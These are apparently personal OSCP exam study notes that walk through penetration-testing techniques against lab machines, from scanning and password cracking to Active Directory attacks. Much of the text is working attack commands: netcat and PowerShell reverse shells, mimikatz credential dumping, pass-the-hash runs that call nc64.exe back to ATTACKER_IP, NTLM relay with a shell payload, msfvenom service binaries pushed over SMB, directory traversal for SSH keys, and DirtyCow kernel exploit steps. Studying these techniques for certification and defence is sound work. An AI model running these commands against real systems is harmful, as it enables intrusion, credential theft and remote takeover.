OSCP
OSCP
OSCP
Sublist3r
sublist3r -d <domain>
sudo python3 /usr/bin/sublist3r -d thetoppers.htb
python3 /usr/bin/sublist3r -d thetoppers.htb
For searching unique certs ->search crt.sh and type domain to find more info
dirbursting>>log.txt and error.txt >> .zip file cracking>> hashes (independent boxes and AD) >> if 5 mins or more then try pa ss the hash
individual - null session(smb share- read privs can get esc)
default-creds {good-wordlists}
independent box >> sudo nmap -Pn -sV -sC -vv -p- 10.10.10.169 --open >> microsoft powershell web-access console (win powershell web-access) >> acute and giddybox{for this} >> use xp_dirtree
on url to get hashes on responder.
last_independent >> ftp anonymous >> {creating your own rules section - mutating wordlists} >> grab every single juicy file from ftp >>
OSCP Page 1
EXPLOITATION BASICS
06 October 2023 15:39
A Reverse shell is nothing but an attacker forcefully requests the victim to connect to his machine. (Attacker listens)
Nc -lvp 5555 and in victim we will use nc <attackers ip / our ip> 5555 -e /bin/bash or sh on target site.
Cons:-
None but don't just rely on this as u may have to use bind.
A bind shell is nothing but an attacker [Initiator]trying to initiate the connection to the [Listener]target/victim by sending a connectio n request to that target machine.(Victim listens)
Nc -v <victim ip> <pid> in our machine and use nc -lvp <pid> -e /bin/bash or sh in target or victim's machine.
Cons:-
Firewall won't let you in as you will be initiating the connection request as there would be whitelisting and won't let ur packet in.
Not secure as anyone can intercept the traffic between u and victim and can see the data you sent.
Problems of NAT ()Network address translation & PAT (Port address translation) and in nat victim can connect to ur router ip and not ur private ip as router assigns you the private ip which is not
accessible to anyone. And in PAT the port victim will connect to will be different than your private IP has so that's major d rawback.
Popping a shell :-
Msfconsole
If dying then type set payload and tab twice to get the list and from that try to modify it to non -staged and see if it's working or not and then set it and run it until shell pops
OSCP Page 2
SCANNING AND ENUMERATION
27 September 2023 21:51
else
for rdp remember 3389 port (note the IP, pass will be given)
for phonesploit 5555 adb port (do note this as well from nmap report)
Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.131.25
wpscan --url
If I think that there are sub domains I will use wfuzz, for that but only if there is a name in the Host: http header
wfuzz -c -u http://10.10.10.171/ -H "Host: FUZZ.openadmin.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 964
I always run nikto and whatweb, just to tease out a bit of extra info
nikto -host 10.11.1.71
whatweb --no-errors -a 3 -v http://asio/ 2>&1
enum4linux -a 10.129.100.13
OSCP Page 3
Scan for alive hosts[](#scan-for-alive-hosts)
$ nmap -sn $ip/24
Auto Recon[](#auto-recon)
autorecon 10.10.10.3
##
Port knock[](#port-knock)
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x $ip; done
##
Scan deeply[](#scan-deeply)
Example:
This command:
- Print out straigt away instead of having to wait until end of the scan
Tips:
Scanning this takes a long time, suggest to leave the scan running overnight, when you're sleep or move on to different box in the meantime.
Use `-T`: specifies TCP ports. Use `-U`: for UDP ports.
##
##
Other option[](#other-option)
To save time and network resources, we can also scan multiple IPs, probing for a short list of a an common ports. For example, let’s conduct a TCP connect scan for the top twenty TCP ports with kw Ma
the `--top-ports` option and enable OS version detection, script scanning, and traceroute with -A:
##
192.168.1.144
192.168.1.179
192.168.1.182
OSCP Page 4
192.168.1.182
##
Onetwopunch.sh[](#onetwopunch.sh)
Grab the latest bash script
cd onetwopunch
Create a text file contains of our targets machine (like in method Scan for unused IP addresses and store in text file):
192.168.1.144
192.168.1.179
192.168.1.182
Then, run the script and tell it to read our txt file and perform TCP scan against each target.
So, the idea behind the script to generate a scan of 65,535 ports on the targets. The script use unicornscan to scan all ports, and make a list of those ports that are open. The script then take the open
ports and pass them to nmap for service detection.
Example:
locate .nse | grep ftp
ls /usr/share/nmap/scripts | grep smb
Typically NSE scripts that scans for vulnerabilities are at
ls -l /usr/share/nmap/scripts/
• you can use this scripts with --script=<ScriptName> ,
• it also support wildcard entries
Example:
nmap --script-help ftp-anon
Vulnerability Scanning
We can scan for vulnerability Scanning nmap scripts:
nmap --script vuln [ip target]
DIRECTORY BUSTING
dirbuster& hit enter and after that u can play with some configs
dirb http://<ip>
Else manually
OSCP Page 5
gobuster dir -u 10.10.241.188 -w /usr/share/wordlists/dirb/big.txt
gobuster -vhost -u http://thetoppers.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt (when u find new domain after finding 1st one.)
or
Msfconsole
Search smb < and check for auxiliary smb version scanner>
Use 111
Exploiting SMB
smbclient -N -L \\\\{TARGET_IP}\\
-N : No password
-L : This option allows you to look at what services are available on a server
OSCP Page 6
PASSWORD ATTACKS
Saturday, December 2, 2023 12:28 PM
sudo nmap -sV -p 2222 <ip> {to check if ssh port is open or not}
msfconsole > search for search type:auxiliary ssh and choose >> auxiliary/scanner/ssh/ssh_login for bruteforcing of creds {al so has option to bruteforce unames.}
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt {kerberos bruteforce for linux }
or
.\Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt {kerberos br uteforce for windows}
Hydra support various protocols such as http-get and http-post which can be used depending on the application to perform a dictionary attack to obtain the password.
web page you supplied must start with a "/", "http://" or "https://", e.g. "/protected/login"
For POST
hydra -l user -P /usr/share/wordlists/rockyou.txt <ip> http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid" {for web logins without protection}
like this :)
For GET
like this:)
OSCP Page 7
#PASSWORD MANAGER CRACKING
Suppose you are logged in to a win vm with correct creds one thing you can do is go to apps & features in win to see what all apps are installed > if you find keepass or similar follow this: ->
/s: This option tells dir to search the specified directory and all its subdirectories.
/a:-d: The /a parameter is used to filter the output based on attributes. -d specifies that directories should be excluded from the output (we're only interested in files).
/b: This option uses bare format to list the files. It shows only the file names, without additional details like file size, date, and time.
or
-Get-ChildItem: This is a cmdlet in PowerShell that retrieves the items (files and/or directories) in a specified location.
-Path C:\: searches in the whole drive.
-Include *.kdbx: To specify the file types we want. Here, it's set to *.kdbx, which means the cmdlet will look for files that have the .kdbx file extension.
-File -Recurse arguments to get a list of files and search in subdirectories.
-ErrorAction to SilentlyContinue to silence errors and continue execution.
once you find an .kdbx file you need to extract a master password from it and you can do that by following:
or
Senario1: suppose you are in a scenario in which you got pass.txt which has 5 passwords plus a set of rules and id_rsa of an user:)
As you have id_rsa you'll try the provided passwords to see if any of them works and none worked amongst them:((
it must be having a diff passphrase then provided in .txt file so we now can extract the passphrase hash from the id_rsa key of the user and crack it to get the working password/passphrase for ssh:))
we can use a tool named ssh2john for extracting hash an save it to > ssh.hash by this cmd:
hashcat -h | grep -i "ssh" {to identify the hash mode or can use hashid for the same:)}
In pass.tx file we got an rule to follow for passwords so let's make a rule for the same using this cmd:)
We'll use c for the capitalization of the first letter and $1 $3 $7 for the numerical values. To address the special characters, we'll create rules to append the different special characters $! , $@, and $#.
cat ssh.rule
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
unfortunately you may get an error of token length exception using hashcat as modern keys and passphrases are created with ae s-256-ctr cipher, which hashcat's mode doesn't support :((
we will use john now but to use the rule we need to add a name of rule and append them to /etc/john/john.conf and can do this by giving the ssh.rule a name as below:->>
cat ssh.rule
[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
OSCP Page 8
sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'
BOOM!! you got the correct passphrase to do ssh on the user :)))
2nd scenario: You don't have anything but there's a hint that you can grab an id_rsa key via directory traversal technique so for that foll ow-along;)
for this we already have several curl and burp cmds to check for dir -traversal:)
this worked!!
curl http ://<ip>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/<username>/.ssh/id_rsa {for checking if it exists or not with this name}
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=sshRules ssh.hash {if there are rules for this one too you can use this cmd: ->}
or
rm ~/.ssh/known_hosts {if unable to login using id_rsa and get an error stating : remove with ssh -keygen -f }
run mimikatz as an administrator to capture ntlm hashes else it won't work : -<
./mimikatz.exe
privilege::debug
token::elevate
sekurlsa::msv
or
lsadump::sam
or
sekurlsa::logonpasswords
sekurlsa::logonpasswords ->which attempts to extract plaintext passwords and password hashes from all available sources. Since this generates a huge am ount of output,
lsadump::sam -> can be used which will extract the NTLM hashes from the SAM.
sekurlsa::msv ->extracts NTLM authentication credentials, such as usernames and NTLM hashes, from the Windows MSV1_0 authentication package. It focuses on NTLM-related data
privilege::debug -> used to obtain debug privileges for the Mimikatz process. This privilege is necessary to perform certain advanced operation s.
hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force {you can use it without rule too:->>}
OSCP Page 9
impacket-wmiexec -hashes <fullhash> Administrator@<ip>
Suppose we obtained an RCE on a system and we're in we can easily force it to authenticate with us by this simple cmd: ->>
The Responder tool is excellent for this.2 It includes a built -in SMB server that handles the authentication process for us and prints all captured Net -NTLMv2 hashes.
If we don't have obtained an RCE there are other ways too, suppose you have a file upload functionality we can try entering n on-existent file there with a UNC path like this :
\\ <ip>\share\test.txt {and if web supports uploads via a smb , then win will authenticate to our smb server i.e. Responder:))}
But to note that just 2 \\ won't work in burpsuite for web-part as in burpsuite uses the \ character as an escape character, so each \ has to be written as \\ in Burp. so you can go with below:))
Imagine we obtained the Net-NTLMv2 hash, but couldn't crack it because it was too complex:(
What we can assume is that the user may be a local administrator on SERVER02. Therefore, we can try to use the hash on anothe r machine in what is known as a relay attack:->>
We'll use the dir command in a bind shell to set up an SMB connection to our Kali machine, then relay the captured Net -NTLMv2 hash to FILES02. If the user, like files02admin, has local admin rights on FILES02,
we can authenticate and execute commands remotely, similar to using psexec or wmiexec. {just a scenario for explanation:)}
or
-impacket-ntlmrelayx package. This tool is designed to intercept and relay NTLM authentication requests.
--no-http-server: used to turn off the built-in HTTP server functionality within ntlmrelayx. Since the focus is on relaying SMB connections, the HTTP server component is unnecessary and thus disabled.
-smb2support to add support for SMB2 for compatibility with modern Windows systems that use SMB2.
-t option followed by SERVER02 or <ip> specifies the target machine to which the relayed authentication will be directed.
-c option allows the attacker to specify a command that will be executed on the target system upon successful relay. In this c ase, the command is a PowerShell reverse shell one -liner;))
-enc argument is used in PowerShell to execute the base64 -encoded command.
Now as it's setup we'll run a bind shell towards SERVER01: ->>
Start a listener on 4444 as that's the port we used for the above powershell one liner: ->>
nc <ip> 5555
dir \\ <ourip>\test
Now check ntlmrelayx as it should get an incoming connection and on other hand we would get a shell on the port 4444 listener we started :->> BOOM!!
OSCP Page 10
#EXTRAS
On other tab setup ntlmwith mitm6 and run this cmd first and then the above one
Ntlmrelayx.py -6 -t ldaps://<dcip> -wh fakewpad.marvel.local -l lootme only do this for like 5 to 7 mins not more than that cheers.
Crackmapexec smb ip/24 -u crckedhashuser -H <fullhash> --local-auth --sam (for sam hashdumps)
Crackmapexec smb ip/24 -u crckedhashuser -H <fullhash> --local-auth --shares (for listing shares)
Cmedb (crackmapdb in which we can see all machines ever used for crack and the hosts )
hashid -m -j '<hash>'
First, we can use the following find command, which is nice because the pipe into grep will make all string matches red:
locate 'passw'
locate 'pwd'
locate '*.php'
It is often that you will find base64 encoded strings ending with one or two equal signs. This is NOT always the case though. Therefore, when you find any interesting string that consists of mostly upper case and
lower case letters, check if it is base64 encoded.
However, similar to binary files, we can use the strings command instead to pull only the strings from the file for us for .d b files
strings ./pwds.db
crunch 6 6 -t Lab%%% > wordlist {makes a pass list of 6 chars starting with lab}
-watch is a command-line tool that allows you to run any specified command at regular intervals and displays its output on the terminal.
-n 1 specifies the interval at which the command should be run, in seconds.
-ps displays information about active processes. Without any options, it shows processes associated with the current terminal.
-a displays processes from all users.
-u displays the process's user/owner in the output.
-x includes processes not attached to a terminal, ensuring a broader selection of background processes are shown.
or
sudo tcpdump -i lo -A | grep "pass" {can be only used if we have high privs}
-tcpdump is an packet analyzer or packet sniffer. It allows users to display TCP/IP and other packets being transmitted or rec eived over a network to which the computer is attached.
-i lo specifies the network interface from which packets will be captured. lo stands for "loopback", which is used for traffic sent and received by the host computer itself.
-A tells tcpdump to print each packet in ASCII. It's useful for capturing and viewing the payload within packets in a human -readable format.
OSCP Page 11
OSCP Page 12
KERNEL EXPLOITS
Friday, December 8, 2023 4:43 PM
The following exploits are known to work well, search for more exploits with searchsploit -w linux kernel centos.
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing
uname -a
cat /etc/issue
cat /etc/*-release
cat /proc/version
lscpu
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
CVE-2022-0847 (DirtyPipe)
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
https://www.exploit-db.com/exploits/50808
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
Exploit Database
// Compile with:
gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
"./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/
CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)
Exploit Database
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)
Exploit Database
gcc mempodipper.c -o mempodipper
./mempodipper
CVE-2022-2588
ALL-CVEs
https://github.com/SecWiki/windows-kernel-exploits
OSCP Page 13
Privilege Escalation - Kernel Exploits
Establish a shell
Kali VM
Windows VM
Kali VM
NOTE: The shell might default to your eth0 during this attack. If so, ensure you type set lhost [Kali VM IP Address] and run again.
OSCP Page 14
ACTIVE DIRECTORY
31 October 2023 12:28
#BASICS
Several agents work together to provide authentication in Kerberos. These are the following:
Kerberos uses differents kinds of messages. The most interesting are the following:
Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose (to reset pass in PowerShell from AD)
force a password reset at the next logon with the following command:
#PASSWORD SPRAYING
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
create a file for downgrading the supported authentication mechanisms and ensure that ldap rogue server only supports PLAIN and LOGIN auth methods.
#olcSaslSecProps.ldif
dn: cn=config
OSCP Page 15
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
The file has the following properties:
• olcSaslSecProps: Specifies the SASL security properties
• noanonymous: Disables mechanisms that support anonymous login
• minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
Now we can use the ldif file to patch our LDAP server using the following:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# AUTHENTICATING RELAYS
use the below cmd for cracking the passwd by given passlist file
x64{34F6FF6C-7E1B-4709-8942-78C14FB08A54}.bcd
ssh thm@THMJMP1.za.tryhackme.com
To ensure that all users of the network can use SSH, start by creating a folder with your username and copying the powerpxe repo into this folder:
C:\Users\THM>cd Documents
C:\Users\THM\Documents> mkdir <username>
C:\Users\THM\Documents> copy C:\powerpxe <username>\
C:\Users\THM\Documents\> cd <username>
The BCD files are always located in the /Tmp/ directory on the MDT server. We can initiate the TFTP transfer using the following command in our SSH session:
tftp -i 10.200.27.202 GET "\Tmp\x64{34F6FF6C-7E1B-4709-8942-78C14FB08A54}.bcd" conf.bcd == [TFTP is used to transfer configurations to and from network devices]
Powerpxe is a PowerShell script that automatically performs this type of attack but usually with varying results, so it is better to perform a manual approach. We will use the Get-WimFile function of powerpxe to
recover the locations of the PXE Boot images from the BCD file:
after this
WIM files are bootable images in the Windows Imaging Format (WIM). Now that we have the location of the PXE Boot image, we can again use TFTP to download this image:
To use powerpxe to recover the credentials from the bootstrap file, run the following command:
OSCP Page 16
Get-FindCredentials -WimFile pxeboot.wim
# CONFIGURATION FILES
McAfee embeds the credentials used during installation to connect back to the orchestrator in a file called ma.db. This database file can be retrieved and read with local access to the host to recover the associated
AD service account. We will be using the SSH access on THMJMP1 again for this exercise.
Best alternative way to copy is to start a smbserver on ur machine and then simply use copy cmd from windows to take the file.
scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
To read the database file, we will use a tool called sqlitebrowser. We can open the database using the following command:
sqlitebrowser ma.db
now click on browse and focus on the agent tables and try to find some crucial info
ur in
/netonly - Since we are not domain-joined, we want to load the credentials for network authentication but not authenticate against a domain controller. So commands executed locally on the computer will run in
the context of your standard Windows account, but any network connections will occur using the account specified here.
/user - Here, we provide the details of the domain and the username. It is always a safe bet to use the Fully Qualified Domain Name (FQDN) instead of just the NetBIOS name of the domain since this will help with
resolution.
cmd.exe - This is the program we want to execute once the credentials are injected. This can be changed to anything, but the safest betis cmd.exe since you can then use that to launch whatever you want, with the
credentials injected.
We can also use this sub-option to enumerate more detailed information about a single user account:
OSCP Page 17
to enumerate the groups of the domain by using the group sub-option:
to enumerate the password policy of the domain by using the accounts sub-option:
Use the-Filter parameter that allows more control over enumeration and use the Format-Table cmdlet to display the results such as the following neatly:
Get-ADUser -Filter 'Name -like "*stevens"' – find any user where name ends in ...stevens
Get-ADUser -Identity john.doe -Properties * – find the user john.doe and return all properties
Get-ADDomain – get information about the domain from the domain controller
Get-ADDomain | findstr "Delete" -- to find what container is used to store deleted AD objects.
Get-ADObject -Filter 'ObjectClass -eq "group"' -Properties whencreated | Select-Object name, whencreated | sort name | ft -AutoSize -- for finding which group was created when
import-module .\Powerview.ps1
Get-NetDomain
Get-NetGroup | select cn {for listing down all the groups, can specify one too by ""}
Get-NetGroup "" | select member {to view the member of the selected group}
OSCP Page 18
Get-NetComputer | select operatingsystem,dnshostname
Find-LocalAdminAccess {scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain}
In order to view the permissions, we'll use the PowerShell Get-Acl4 cmdlet:-
or
Get-NetUser -SPN | select samaccountname,serviceprincipalname {enumerate all the accounts in the domain. }
Find-InterestingDomainAcl {search for and identify ACL's within the domain that might be considered interesting or unusual from a security perspective.}
What Can You Do with First-Degree Object Control? {if you see it in bloodhound}
Having first degree object control over a user account in Active Directory essentially means you have permissions to perform various actions on that account. These
actions can include:
net group "Management Department" stephanie /add /domain {to add ourselves to the specific group}
Find-DomainShare -CheckShareAccess {to check which shares we can access on the domain;))}
ls \\ FILES04\docshare
OSCP Page 19
# ENUMERATING AD via BLOODHOUND & PLUMHOUND + SHARPHOUND
or
Import-Module .\Sharphound.ps1
CollectionMethods - Determines what kind of data Sharphound would collect. The most common options are Default or All. Also, since Sharphound caches information, once the first run has been completed, you
can only use the Session collection method to retrieve new user sessions to speed up the process.
Domain - Here, we specify the domain we want to enumerate. In some instances, you may want to enumerate a parent or other domain that has trust with your existing domain. You can tell Sharphound which
domain should be enumerated by altering this parameter.
ExcludeDCs -This will instruct Sharphound not to touch domain controllers, which reduces the likelihood that the Sharphound run will raise an alert.
Overview - Provides summaries information such as the number of active sessions the account has and if it can reach high-value targets.
Node Properties - Shows information regarding the AD account, such as the display name and the title.
Extra Properties - Provides more detailed AD information such as the distinguished name and when the account was created.
Group Membership - Shows information regarding the groups that the account is a member of.
Local Admin Rights - Provides information on domain-joined hosts where the account has administrative privileges.
Execution Rights - Provides information on special privileges such as the ability to RDP into a machine.
Outbound Control Rights - Shows information regarding AD objects where this account has permissions to modify their attributes.
Inbound Control Rights - Provides information regarding AD objects that can modify the attributes of this account.
Sudo bloodhound -python -d<domain> -u <user> -p <pass> -ns <ip of tgt> -c all then import it in
Install plumhound
sudo python3 PlumHound.py --easy -p neo4j1 for just the querying of the domain now for some juicy info run this cmd:
OSCP Page 20
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=lateralmovement LPORT=4444 -o myservice.exe -- instead of attacker ip you can input lateral movement which will automatically resolve ur ip
-p : payload type
-f : file type
-o : to call the stuff
sudo smbclient -c 'put myfanservice.exe' -U t1_leonard.summers -W ZA.TRYHACKME.COM '//10.200.19.201/admin$/' EZpass4ever -- if target name doesn't work use the ip and it will
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement(or ip); set LPORT 4444;exploit" -- on other instance in meterpreter
Boom you got the shell but check the user once and you'll be shocked
Nothing Wrong here look at the runas cmd we ran one of the flags we have is netonly and if you remember it from the AD network it's a very special flag because what it does is it essentially launches in the normal
user context for you because for instance that t1_leonard.summers might not have the privileges for permissions to actually log into the host that you're currently in so it just passes it and it means that it will now
use those credentials for netowork only connections . So now when u run a cmd it looks like a general field but it will actually execute everything as leonard summers only
Most imp thing to test is that you entered the password correctly coz remember netonly will take any pass because it doesn't verify the account so to check it use this
https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/ [for more reference]
Dir \\za.tryhackme.com\sysvol to check the validity of the creds u entered
sc.exe \\10.200.19.201 start Fannyservice-3249 to start the service and you've got the shell in other tab
THMJMP2: Powershell
$username = 't1_corine.waters';
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
FOR WMIC:
In this example, we'll instruct wmic to launch a calculator, "calc" instance with the process call create keywords. It is important to note, that the machine we are
attacking is a server with the hostname Files04. We are attempting to move laterally from our current machine, to this new server.
OSCP Page 21
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
The WMI job returned the PID of the newly created process and a return value of "0", meaning that the process has been created successfully.
NOTE:-If we were logged in on that machine and monitoring Task Manager we would see the win32calc.exe process appear with jen as the user.
To do that, we will first store the username and password in variables. Then, we will secure the password via the ConvertTo-SecureString cmdlet. Finally, we'll create a
new PSCredential object with the username variable and secureString object.
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
Now that we have our PSCredential object, we need to create a Common Information Model (CIM) via the _New-CimSession cmdlet.
To do that, we'll first specify DCOM as the protocol for the WMI session with the New-CimSessionOption cmdlet on the first line. On the second line, we'll create the new
session, New-Cimsession against our target IP, using -ComputerName and supply the PSCredential object (-Credential $credential) along with the session options (-
SessionOption $Options). Lastly, we'll define 'calc' as the payload to be executed by WMI.
As a final step, we need to tie together all the arguments we configured previously by issuing the Invoke-CimMethod cmdlet and supplying Win32_Process to the
ClassName and Create to the MethodName. To send the argument, we wrap them in @{CommandLine =$Command}.
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
To further improve our craft, let's replace the previous payload with a full reverse shell written in PowerShell:
The following Python code encodes the PowerShell reverse shell to base64 contained in the payload variable and then prints the result to standard output.
Reviewing the entire PowerShell payload is outside the scope of this Module.
We need to replace the highlighted IP and port with the ones of our attacker Kali machine and start the listener.
import sys
import base64
OSCP Page 22
$sendbyte.Length);$stream.Flush()};$client.Close()'
print(cmd)
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$command='the_big_output_you_got';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
For WinRS to work, the domain user needs to be part of the Administrators or Remote Management Users group on the target host.
The winrs utility can be invoked by specifying the target host through the -r: argument and the username with -u: and password with -p. As a final argument, we want to
specify the commands to be executed on the remote host.
The output confirms that we have indeed executed the commands remotely on FILES04.
To convert this technique into a full lateral movement scenario, we just need to replace the previous commands with the base64 encoded reverse-shell we wrote above.
OSCP Page 23
PowerShell also has WinRM built-in capabilities called PowerShell remoting, which can be invoked via the New-PSSession cmdlet by providing the IP of the target host
along with the credentials in a credential object format similar to what we did previously.
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1
privilege::debug
Token::elevate
if we only had access to a ticket but not its corresponding session key, we wouldn't be able to use that ticket; therefore, both are necessary.
lsadump::sam
sekurlsa::msv
We can then use the extracted hashes to perform a PtH attack by using mimikatz to inject an access token for the victim user on a reverse shell (or any other command you like) as follows:
token::revert
sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555" start listener on other tab
token::revert to reestablish our original token privileges, as trying to pass-the-hash with an elevated token won't work.
winrs.exe -r:THMIIS.za.tryhackme.com cmd == winrs to connect to a command prompt on THMIIS. Since t1_toby.beck's credentials are already injected in your session as a result of any of the attacks, you can use
winrs without specifying any credentials, and it will use the ones available to your current session.
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt {FOR WINDOWS - one-liner can be used instead of mimikatz;)}
Use the hash with pth-winexe to spawn a SYSTEM level command prompt:
# pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
or
OSCP Page 24
getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
ALTERNATIVE:--->
.\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02" {after this it will open anew cmd.exe with the shell.}
sekurlsa::ekeys
You'll get toby's key aes or rec34 or anything save it and set it on the below cmd
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools
\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Boom now run the winrs cmd again with this alternate method and get the prompt.
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the TGT
privilege::debug
sekurlsa::tickets /export
for psexec.py:
export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
OSCP Page 25
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass
ALTERNATIVE:
ls \\web04\backup
once you get the denied error follow first 2 steps above to export the ticket and then follow along below:
select any one from the user with :->> @cifs-web04.kirbi format by the below cmd:
PS C:\Tools> klist {for checking if the ticket we selected has been imported in the session or not;}
finally run again the same cmd we used to verify for the access:->>
ls \\web04\backup
BOOM!! you're in
# RDP HI-JACKING
When an administrator uses Remote Desktop to connect to a machine and closes the RDP client instead of logging off, his session will remain open on the server indefinitely
PsExec64.exe -s cmd.exe
Query user
To connect to a session, we will use tscon.exe and specify the session ID we will be taking over, as well as our current SESSIONNAME
tscon 3 /dest:rdp-tcp#6
Since we'll be making a connection back to our attacker's machine, we'll want to create a user in it without access to any console for tunnelling and set a password to use for creating the tunnels:
TCP4-LISTEN:3499,fork TCP4:THMIIS.za.tryhackme.com:3389
Note that we can't use port 3389 for our listener since it is already being used in THMJMP2 for its own RDP service. In a typical setup, you'd have to add a firewall rule to allow traffic through the listener port but not
for this as it's disabled. See below for ref.
OSCP Page 26
xfreerdp /v:THMJMP2.za.tryhackme.com:5678/u:t1_thomas.moore /p:MyPazzw3rd2020 use it after the listener has setup
Once all port forwards are in place, we can start Metasploit and configure the exploit so that the required ports match the ones we have forwarded through THMJMP2:
AttackBox
user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp
-ReverseListenerBindAddress, which can be used to specify the listener's bind address on the attacker's machine separately from the address where the payload will connect back.
-SRVHOST to indicate the listening address, which in this case is 127.0.0.1, so that the attacker machine binds the webserverto localhost.
xfreerdp /v:<targetname with domain or just ip> /u:<found creds> /p:<found creds>
# EXPLOITING AD
[EXPLOITING PERMISSION DELEGATION]
Select the user we logged in from and see that we can rdp to the domain.admin users but it will only give us low privileges.
first step will be to compromise Tier 2 infrastructure. We need to compromise the Tier 2 Admins group since this group has administrative privileges on all workstations. Let's ask Bloodhound if there is perhaps a
road that we can follow to compromise this group. Add your user account as the start position and the Tier 2 Admins group as the end position.
OSCP Page 27
Create a user in ps :
or maybe add user in administrators group by -> net localgroup administrators <username> /add
Now that we are a member of the IT Support group, we have inherited the ForceChangePassword Permission Delegation over the Tier 2 Admins group. First, we need to identify the members of this group to select a
target. We can use the Get-ADGroupMember cmdlet again to assist with this:
